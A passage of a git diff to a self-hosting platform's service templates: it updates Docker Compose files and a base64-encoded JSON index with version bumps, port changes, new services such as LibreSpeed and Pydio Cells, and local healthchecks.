ESPOCRM_DATABASE_PASSWORD=${SERVICE_PASSWORD_MARIADB} + - ESPOCRM_SITE_URL=${SERVICE_URL_ESPOCRM} + volumes: + - espocrm:/var/www/html + healthcheck: + test: ["CMD", "curl", "-f", "http://127.0.0.1:80"] + interval: 2s + start_period: 60s + timeout: 10s + retries: 15 + depends_on: + espocrm-db: + condition: service_healthy + + espocrm-daemon: + image: espocrm/espocrm:9 + container_name: espocrm-daemon + volumes: + - espocrm:/var/www/html + restart: always + entrypoint: docker-daemon.sh + depends_on: + espocrm: + condition: service_healthy + + espocrm-websocket: + image: espocrm/espocrm:9 + container_name: espocrm-websocket + environment: + - SERVICE_URL_ESPOCRM_WEBSOCKET_8080 + - ESPOCRM_CONFIG_USE_WEB_SOCKET=true + - ESPOCRM_CONFIG_WEB_SOCKET_URL=$SERVICE_URL_ESPOCRM_WEBSOCKET + - ESPOCRM_CONFIG_WEB_SOCKET_ZERO_M_Q_SUBSCRIBER_DSN=tcp://*:7777 + - ESPOCRM_CONFIG_WEB_SOCKET_ZERO_M_Q_SUBMISSION_DSN=tcp://espocrm-websocket:7777 + volumes: + - espocrm:/var/www/html + restart: always + entrypoint: docker-websocket.sh + depends_on: + espocrm: + condition: service_healthy + + espocrm-db: + image: mariadb:11.8 + environment: + - MARIADB_DATABASE=${MARIADB_DATABASE:-espocrm} + - MARIADB_USER=${SERVICE_USER_MARIADB} + - MARIADB_PASSWORD=${SERVICE_PASSWORD_MARIADB} + - MARIADB_ROOT_PASSWORD=${SERVICE_PASSWORD_ROOT} + volumes: + - espocrm-db:/var/lib/mysql + healthcheck: + test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"] + interval: 20s + start_period: 10s + timeout: 10s + retries: 3 diff --git a/templates/compose/grist.yaml b/templates/compose/grist.yaml index 89f1692b1..584d50872 100644 --- a/templates/compose/grist.yaml +++ b/templates/compose/grist.yaml @@ -3,16 +3,16 @@ # category: productivity # tags: lowcode, nocode, spreadsheet, database, relational # logo: svgs/grist.svg -# port: 443 +# port: 8484 services: grist: image: gristlabs/grist:latest environment: - - SERVICE_URL_GRIST_443 + - SERVICE_URL_GRIST_8484 - APP_HOME_URL=${SERVICE_URL_GRIST} - APP_DOC_URL=${SERVICE_URL_GRIST} - - GRIST_DOMAIN=${SERVICE_URL_GRIST} + - GRIST_DOMAIN=${SERVICE_FQDN_GRIST} - TZ=${TZ:-UTC} - GRIST_SUPPORT_ANON=${SUPPORT_ANON:-false} - GRIST_FORCE_LOGIN=${FORCE_LOGIN:-true} @@ -20,7 +20,7 @@ services: - GRIST_PAGE_TITLE_SUFFIX=${PAGE_TITLE_SUFFIX:- - Suffix} - GRIST_HIDE_UI_ELEMENTS=${HIDE_UI_ELEMENTS:-billing,sendToDrive,supportGrist,multiAccounts,tutorials} - GRIST_UI_FEATURES=${UI_FEATURES:-helpCenter,billing,templates,createSite,multiSite,sendToDrive,tutorials,supportGrist} - - GRIST_DEFAULT_EMAIL=${DEFAULT_EMAIL:-test@example.com} + - GRIST_DEFAULT_EMAIL=${DEFAULT_EMAIL:-?} - GRIST_ORG_IN_PATH=${ORG_IN_PATH:-true} - GRIST_OIDC_SP_HOST=${SERVICE_URL_GRIST} - GRIST_OIDC_IDP_SCOPES=${OIDC_IDP_SCOPES:-openid profile email} @@ -37,7 +37,7 @@ services: - TYPEORM_DATABASE=${POSTGRES_DATABASE:-grist-db} - TYPEORM_USERNAME=${SERVICE_USER_POSTGRES} - TYPEORM_PASSWORD=${SERVICE_PASSWORD_POSTGRES} - - TYPEORM_HOST=${TYPEORM_HOST} + - TYPEORM_HOST=${TYPEORM_HOST:-postgres} - TYPEORM_PORT=${TYPEORM_PORT:-5432} - TYPEORM_LOGGING=${TYPEORM_LOGGING:-false} - REDIS_URL=${REDIS_URL:-redis://redis:6379} diff --git a/templates/compose/heyform.yaml b/templates/compose/heyform.yaml index f88a1efec..9afddf895 100644 --- a/templates/compose/heyform.yaml +++ b/templates/compose/heyform.yaml @@ -3,7 +3,7 @@ # category: productivity # tags: form, builder, forms, survey, quiz, open source, self-hosted, docker # logo: svgs/heyform.svg -# port: 8000 +# port: 9157 services: heyform: @@ -16,7 +16,7 @@ services: keydb: condition: service_healthy environment: - - SERVICE_URL_HEYFORM_8000 + - SERVICE_URL_HEYFORM_9157 - APP_HOMEPAGE_URL=${SERVICE_URL_HEYFORM} - SESSION_KEY=${SERVICE_BASE64_64_SESSION} - FORM_ENCRYPTION_KEY=${SERVICE_BASE64_64_FORM} @@ -25,7 +25,7 @@ services: - REDIS_PORT=6379 - REDIS_PASSWORD=${SERVICE_PASSWORD_KEYDB} healthcheck: - test: ["CMD-SHELL", "wget -qO- http://127.0.0.1:8000 || exit 1"] + test: ["CMD-SHELL", "wget -qO- http://127.0.0.1:9157 || exit 1"] interval: 5s timeout: 5s retries: 3 diff --git a/templates/compose/hoppscotch.yaml b/templates/compose/hoppscotch.yaml index 536a3a215..2f8731c0f 100644 --- a/templates/compose/hoppscotch.yaml +++ b/templates/compose/hoppscotch.yaml @@ -7,7 +7,7 @@ services: backend: - image: hoppscotch/hoppscotch:latest + image: hoppscotch/hoppscotch:2026.2.1 environment: - SERVICE_URL_HOPPSCOTCH_80 - VITE_ALLOWED_AUTH_PROVIDERS=${VITE_ALLOWED_AUTH_PROVIDERS:-GOOGLE,GITHUB,MICROSOFT,EMAIL} @@ -34,7 +34,7 @@ services: retries: 10 hoppscotch-db: - image: postgres:latest + image: postgres:15 volumes: - postgres_data:/var/lib/postgresql/data environment: @@ -51,7 +51,7 @@ services: db-migration: exclude_from_hc: true - image: hoppscotch/hoppscotch:latest + image: hoppscotch/hoppscotch:2026.2.1 depends_on: hoppscotch-db: condition: service_healthy diff --git a/templates/compose/imgcompress.yaml b/templates/compose/imgcompress.yaml new file mode 100644 index 000000000..7cbe4b468 --- /dev/null +++ b/templates/compose/imgcompress.yaml @@ -0,0 +1,19 @@ +# documentation: https://imgcompress.karimzouine.com +# slogan: Offline image compression, conversion, and AI background removal for Docker homelabs. +# category: media +# tags: compress,photo,server,metadata +# logo: svgs/imgcompress.png +# port: 5000 + +services: + imgcompress: + image: karimz1/imgcompress:0.6.0 + environment: + - SERVICE_URL_IMGCOMPRESS_5000 + - DISABLE_LOGO=${DISABLE_LOGO:-false} + - DISABLE_STORAGE_MANAGEMENT=${DISABLE_STORAGE_MANAGEMENT:-false} + healthcheck: + test: ["CMD", "curl", "-f", "http://127.0.0.1:5000"] + interval: 30s + timeout: 10s + retries: 3 diff --git a/templates/compose/librespeed.yaml b/templates/compose/librespeed.yaml new file mode 100644 index 000000000..6e53a3aff --- /dev/null +++ b/templates/compose/librespeed.yaml @@ -0,0 +1,22 @@ +# documentation: https://github.com/librespeed/speedtest +# slogan: Self-hosted lightweight Speed Test. +# category: devtools +# tags: speedtest, internet-speed +# logo: svgs/librespeed.png +# port: 82 + +services: + librespeed: + container_name: librespeed + image: 'ghcr.io/librespeed/speedtest:latest' + environment: + - SERVICE_URL_LIBRESPEED_82 + - MODE=standalone + - TELEMETRY=false + - DISTANCE=km + - WEBPORT=82 + healthcheck: + test: 'curl 127.0.0.1:82 || exit 1' + timeout: 1s + interval: 1m0s + retries: 1 diff --git a/templates/compose/minio-community-edition.yaml b/templates/compose/minio-community-edition.yaml index 1143235e5..49a393624 100644 --- a/templates/compose/minio-community-edition.yaml +++ b/templates/compose/minio-community-edition.yaml @@ -1,3 +1,4 @@ +# ignore: true # documentation: https://github.com/coollabsio/minio?tab=readme-ov-file#minio-docker-images # slogan: MinIO is a high performance object storage server compatible with Amazon S3 APIs. # category: storage diff --git a/templates/compose/n8n-with-postgres-and-worker.yaml b/templates/compose/n8n-with-postgres-and-worker.yaml index e03b38960..b7d381399 100644 --- a/templates/compose/n8n-with-postgres-and-worker.yaml +++ b/templates/compose/n8n-with-postgres-and-worker.yaml @@ -7,7 +7,7 @@ services: n8n: - image: n8nio/n8n:2.1.5 + image: n8nio/n8n:2.10.4 environment: - SERVICE_URL_N8N_5678 - N8N_EDITOR_BASE_URL=${SERVICE_URL_N8N} @@ -54,7 +54,7 @@ services: retries: 10 n8n-worker: - image: n8nio/n8n:2.1.5 + image: n8nio/n8n:2.10.4 command: worker environment: - GENERIC_TIMEZONE=${GENERIC_TIMEZONE:-UTC} @@ -122,7 +122,7 @@ services: retries: 10 task-runners: - image: n8nio/runners:2.1.5 + image: n8nio/runners:2.10.4 environment: - N8N_RUNNERS_TASK_BROKER_URI=${N8N_RUNNERS_TASK_BROKER_URI:-http://n8n-worker:5679} - N8N_RUNNERS_AUTH_TOKEN=$SERVICE_PASSWORD_N8N diff --git a/templates/compose/n8n-with-postgresql.yaml b/templates/compose/n8n-with-postgresql.yaml index 0cf58de18..d7096add2 100644 --- a/templates/compose/n8n-with-postgresql.yaml +++ b/templates/compose/n8n-with-postgresql.yaml @@ -7,7 +7,7 @@ services: n8n: - image: n8nio/n8n:2.1.5 + image: n8nio/n8n:2.10.2 environment: - SERVICE_URL_N8N_5678 - N8N_EDITOR_BASE_URL=${SERVICE_URL_N8N} @@ -47,7 +47,7 @@ services: retries: 10 task-runners: - image: n8nio/runners:2.1.5 + image: n8nio/runners:2.10.2 environment: - N8N_RUNNERS_TASK_BROKER_URI=${N8N_RUNNERS_TASK_BROKER_URI:-http://n8n:5679} - N8N_RUNNERS_AUTH_TOKEN=$SERVICE_PASSWORD_N8N diff --git a/templates/compose/n8n.yaml b/templates/compose/n8n.yaml index d45cf1465..ff5ee90b2 100644 --- a/templates/compose/n8n.yaml +++ b/templates/compose/n8n.yaml @@ -7,7 +7,7 @@ services: n8n: - image: n8nio/n8n:2.1.5 + image: n8nio/n8n:2.10.2 environment: - SERVICE_URL_N8N_5678 - N8N_EDITOR_BASE_URL=${SERVICE_URL_N8N} @@ -38,7 +38,7 @@ services: retries: 10 task-runners: - image: n8nio/runners:2.1.5 + image: n8nio/runners:2.10.2 environment: - N8N_RUNNERS_TASK_BROKER_URI=${N8N_RUNNERS_TASK_BROKER_URI:-http://n8n:5679} - N8N_RUNNERS_AUTH_TOKEN=${SERVICE_PASSWORD_N8N} diff --git a/templates/compose/pydio-cells.yml b/templates/compose/pydio-cells.yml new file mode 100644 index 000000000..77a24a533 --- /dev/null +++ b/templates/compose/pydio-cells.yml @@ -0,0 +1,33 @@ +# documentation: https://docs.pydio.com/ +# slogan: High-performance large file sharing, native no-code automation, and a collaboration-centric architecture that simplifies access control without compromising security or compliance. +# tags: storage +# logo: svgs/cells.svg +# port: 8080 + +services: + cells: + image: pydio/cells:4.4 + environment: + - SERVICE_URL_CELLS_8080 + - CELLS_SITE_EXTERNAL=${SERVICE_URL_CELLS} + - CELLS_SITE_NO_TLS=1 + volumes: + - cells_data:/var/cells + mariadb: + image: 'mariadb:11' + volumes: + - mysql_data:/var/lib/mysql + environment: + - MYSQL_ROOT_PASSWORD=${SERVICE_PASSWORD_MYSQLROOT} + - MYSQL_DATABASE=${MYSQL_DATABASE:-cells} + - MYSQL_USER=${SERVICE_USER_MYSQL} + - MYSQL_PASSWORD=${SERVICE_PASSWORD_MYSQL} + healthcheck: + test: + - CMD + - healthcheck.sh + - '--connect' + - '--innodb_initialized' + interval: 10s + timeout: 20s + retries: 5 diff --git a/templates/compose/seaweedfs.yaml b/templates/compose/seaweedfs.yaml index d8b57906b..fabcca50d 100644 --- a/templates/compose/seaweedfs.yaml +++ b/templates/compose/seaweedfs.yaml @@ -7,7 +7,7 @@ services: seaweedfs-master: - image: chrislusf/seaweedfs:4.05 + image: chrislusf/seaweedfs:4.13 environment: - SERVICE_URL_S3_8333 - AWS_ACCESS_KEY_ID=${SERVICE_USER_S3} @@ -61,7 +61,7 @@ services: retries: 10 seaweedfs-admin: - image: chrislusf/seaweedfs:4.05 + image: chrislusf/seaweedfs:4.13 environment: - SERVICE_URL_ADMIN_23646 - SEAWEED_USER_ADMIN=${SERVICE_USER_ADMIN} diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index a9f653460..51cb39de0 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -310,23 +310,6 @@ "minversion": "0.0.0", "port": "3000" }, - "booklore": { - "documentation": "https://booklore.org/docs/getting-started?utm_source=coolify.io", - "slogan": "Booklore is an open-source library management system for your digital book collection.", - "compose": "c2VydmljZXM6CiAgYm9va2xvcmU6CiAgICBpbWFnZTogJ2Jvb2tsb3JlL2Jvb2tsb3JlOnYxLjE2LjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9CT09LTE9SRV84MAogICAgICAtICdVU0VSX0lEPSR7Qk9PS0xPUkVfVVNFUl9JRDotMH0nCiAgICAgIC0gJ0dST1VQX0lEPSR7Qk9PS0xPUkVfR1JPVVBfSUQ6LTB9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtICdEQVRBQkFTRV9VUkw9amRiYzptYXJpYWRiOi8vbWFyaWFkYjozMzA2LyR7TUFSSUFEQl9EQVRBQkFTRTotYm9va2xvcmUtZGJ9JwogICAgICAtICdEQVRBQkFTRV9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9NQVJJQURCfScKICAgICAgLSAnREFUQUJBU0VfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01BUklBREJ9JwogICAgICAtIEJPT0tMT1JFX1BPUlQ9ODAKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jvb2tsb3JlLWRhdGE6L2FwcC9kYXRhJwogICAgICAtICdib29rbG9yZS1ib29rczovYm9va3MnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiB+L2Jvb2tsb3JlCiAgICAgICAgdGFyZ2V0OiAvYm9va2Ryb3AKICAgICAgICBpc19kaXJlY3Rvcnk6IHRydWUKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtLW5vLXZlcmJvc2UgLS10cmllcz0xIC0tc3BpZGVyIGh0dHA6Ly9sb2NhbGhvc3QvbG9naW4gfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBtYXJpYWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMicKICAgIGVudmlyb25tZW50OgogICAgICAtICdNQVJJQURCX1VTRVI9JHtTRVJWSUNFX1VTRVJfTUFSSUFEQn0nCiAgICAgIC0gJ01BUklBREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01BUklBREJ9JwogICAgICAtICdNQVJJQURCX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01BUklBREJST09UfScKICAgICAgLSAnTUFSSUFEQl9EQVRBQkFTRT0ke01BUklBREJfREFUQUJBU0U6LWJvb2tsb3JlLWRifScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ21hcmlhZGItZGF0YTovdmFyL2xpYi9teXNxbCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAo=", - "tags": [ - "media", - "books", - "kobo", - "epub", - "ebook", - "koreader" - ], - "category": null, - "logo": "svgs/booklore.svg", - "minversion": "0.0.0", - "port": "80" - }, "bookstack": { "documentation": "https://www.bookstackapp.com/docs/?utm_source=coolify.io", "slogan": "BookStack is a simple, self-hosted, easy-to-use platform for organising and storing information", @@ -489,7 +472,7 @@ "castopod": { "documentation": "https://docs.castopod.org/main/en/?utm_source=coolify.io", "slogan": "Castopod is a free & open-source hosting platform made for podcasters who want engage and interact with their audience.", - "compose": "c2VydmljZXM6CiAgY2FzdG9wb2Q6CiAgICBpbWFnZTogJ2Nhc3RvcG9kL2Nhc3RvcG9kOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLW1lZGlhOi92YXIvd3d3L2Nhc3RvcG9kL3B1YmxpYy9tZWRpYScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NBU1RPUE9EXzgwMDAKICAgICAgLSBNWVNRTF9EQVRBQkFTRT1jYXN0b3BvZAogICAgICAtIE1ZU1FMX1VTRVI9JFNFUlZJQ0VfVVNFUl9NWVNRTAogICAgICAtIE1ZU1FMX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX01ZU1FMCiAgICAgIC0gJ0NQX0RJU0FCTEVfSFRUUFM9JHtDUF9ESVNBQkxFX0hUVFBTOi0xfScKICAgICAgLSBDUF9CQVNFVVJMPSRTRVJWSUNFX1VSTF9DQVNUT1BPRAogICAgICAtIENQX0FOQUxZVElDU19TQUxUPSRTRVJWSUNFX1JFQUxCQVNFNjRfNjRfU0FMVAogICAgICAtIENQX0NBQ0hFX0hBTkRMRVI9cmVkaXMKICAgICAgLSBDUF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gQ1BfUkVESVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovL2xvY2FsaG9zdDo4MDAwL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgbWFyaWFkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIG1hcmlhZGI6CiAgICBpbWFnZTogJ21hcmlhZGI6MTEuMicKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLWRiOi92YXIvbGliL215c3FsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTVlTUUxfUk9PVF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1ZU1FMX0RBVEFCQVNFPWNhc3RvcG9kCiAgICAgIC0gTVlTUUxfVVNFUj0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gTVlTUUxfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3LjItYWxwaW5lJwogICAgY29tbWFuZDogJy0tcmVxdWlyZXBhc3MgJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMnCiAgICB2b2x1bWVzOgogICAgICAtICdjYXN0b3BvZC1jYWNoZTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIC1hICRTRVJWSUNFX1BBU1NXT1JEX1JFRElTIHBpbmcgfCBncmVwIFBPTkcnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgY2FzdG9wb2Q6CiAgICBpbWFnZTogJ2Nhc3RvcG9kL2Nhc3RvcG9kOjEuMTUuNCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLW1lZGlhOi92YXIvd3d3L2Nhc3RvcG9kL3B1YmxpYy9tZWRpYScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NBU1RPUE9EXzgwODAKICAgICAgLSBNWVNRTF9EQVRBQkFTRT1jYXN0b3BvZAogICAgICAtIE1ZU1FMX1VTRVI9JFNFUlZJQ0VfVVNFUl9NWVNRTAogICAgICAtIE1ZU1FMX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX01ZU1FMCiAgICAgIC0gJ0NQX0RJU0FCTEVfSFRUUFM9JHtDUF9ESVNBQkxFX0hUVFBTOi0xfScKICAgICAgLSBDUF9CQVNFVVJMPSRTRVJWSUNFX1VSTF9DQVNUT1BPRAogICAgICAtIENQX0FOQUxZVElDU19TQUxUPSRTRVJWSUNFX1JFQUxCQVNFNjRfNjRfU0FMVAogICAgICAtIENQX0NBQ0hFX0hBTkRMRVI9cmVkaXMKICAgICAgLSBDUF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gQ1BfUkVESVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovL2xvY2FsaG9zdDo4MDgwL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgbWFyaWFkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIG1hcmlhZGI6CiAgICBpbWFnZTogJ21hcmlhZGI6MTEuMicKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLWRiOi92YXIvbGliL215c3FsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTVlTUUxfUk9PVF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1ZU1FMX0RBVEFCQVNFPWNhc3RvcG9kCiAgICAgIC0gTVlTUUxfVVNFUj0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gTVlTUUxfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3LjItYWxwaW5lJwogICAgY29tbWFuZDogJy0tcmVxdWlyZXBhc3MgJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMnCiAgICB2b2x1bWVzOgogICAgICAtICdjYXN0b3BvZC1jYWNoZTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIC1hICRTRVJWSUNFX1BBU1NXT1JEX1JFRElTIHBpbmcgfCBncmVwIFBPTkcnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "podcast", "media", @@ -503,7 +486,7 @@ "category": "media", "logo": "svgs/castopod.svg", "minversion": "0.0.0", - "port": "8000" + "port": "8080" }, "changedetection": { "documentation": "https://github.com/dgtlmoon/changedetection.io/?utm_source=coolify.io", @@ -684,7 +667,7 @@ "cloudreve": { "documentation": "https://docs.cloudreve.org/?utm_source=coolify.io", "slogan": "A self-hosted file management and sharing system.", - "compose": "c2VydmljZXM6CiAgY2xvdWRyZXZlOgogICAgaW1hZ2U6ICdjbG91ZHJldmUvY2xvdWRyZXZlOjQuMTAuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NMT1VEUkVWRV81MjEyCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5UeXBlPXBvc3RncmVzCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5Ib3N0PXBvc3RncmVzCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuVXNlcj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuUGFzc3dvcmQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnQ1JfQ09ORl9EYXRhYmFzZS5OYW1lPSR7UE9TVEdSRVNfREI6LWNsb3VkcmV2ZS1kYn0nCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5Qb3J0PTU0MzIKICAgICAgLSAnQ1JfQ09ORl9SZWRpcy5TZXJ2ZXI9cmVkaXM6NjM3OScKICAgICAgLSAnQ1JfQ09ORl9SZWRpcy5QYXNzd29yZD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnY2xvdWRyZXZlLWRhdGE6L2Nsb3VkcmV2ZS9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG5jCiAgICAgICAgLSAnLXonCiAgICAgICAgLSBsb2NhbGhvc3QKICAgICAgICAtICc1MjEyJwogICAgICBpbnRlcnZhbDogMjBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxOC1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWNsb3VkcmV2ZS1kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogNQogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3LWFscGluZScKICAgIGNvbW1hbmQ6ICdyZWRpcy1zZXJ2ZXIgLS1yZXF1aXJlcGFzcyAke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXMtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctYScKICAgICAgICAtICcke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDUK", + "compose": "c2VydmljZXM6CiAgY2xvdWRyZXZlOgogICAgaW1hZ2U6ICdjbG91ZHJldmUvY2xvdWRyZXZlOjQuMTAuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NMT1VEUkVWRV81MjEyCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5UeXBlPXBvc3RncmVzCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5Ib3N0PXBvc3RncmVzCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuVXNlcj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuUGFzc3dvcmQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnQ1JfQ09ORl9EYXRhYmFzZS5OYW1lPSR7UE9TVEdSRVNfREI6LWNsb3VkcmV2ZS1kYn0nCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5Qb3J0PTU0MzIKICAgICAgLSAnQ1JfQ09ORl9SZWRpcy5TZXJ2ZXI9cmVkaXM6NjM3OScKICAgICAgLSAnQ1JfQ09ORl9SZWRpcy5QYXNzd29yZD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9J